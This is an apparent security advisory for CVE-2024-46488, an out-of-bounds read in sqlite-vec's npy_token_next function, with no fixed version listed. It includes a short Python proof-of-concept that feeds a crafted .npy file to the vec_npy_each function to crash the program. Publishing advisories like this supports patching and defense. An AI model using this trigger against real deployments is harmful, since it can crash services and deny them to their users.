Out-of-bounds Read Affecting asg017/sqlite-vec package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (15th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-ASG017SQLITEVEC-8097311
  • published26 Sept 2024
  • disclosed25 Sept 2024
  • creditVulnSphere

Introduced: 25 Sep 2024

CVE-2024-46488  (opens in a new tab)
CWE-125  (opens in a new tab)

How to fix?

There is no fixed version for asg017/sqlite-vec.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the npy_token_next function. An attacker can cause a program to crash or become unresponsive by supplying a specially crafted file.

PoC


import sqlite3

def execute_all(cursor, sql, args=None):
    if args is None:
        args = []
    results = cursor.execute(sql, args).fetchall()
    return list(map(lambda x: dict(x), results))

def connect(ext, path=":memory:", extra_entrypoint=None):
    db = sqlite3.connect(path)
    db.enable_load_extension(True)
    db.load_extension(ext)
    db.row_factory = sqlite3.Row
    return db

db = connect("./dist/vec0")

vec_npy_each_f = lambda *args: execute_all(
    db, "select * from vec_npy_each(?)", args
)

with open("./poc.npy", "rb") as f:
    data = f.read()
    print(vec_npy_each_f(data))

CVSS Scores

version 4.0
version 3.1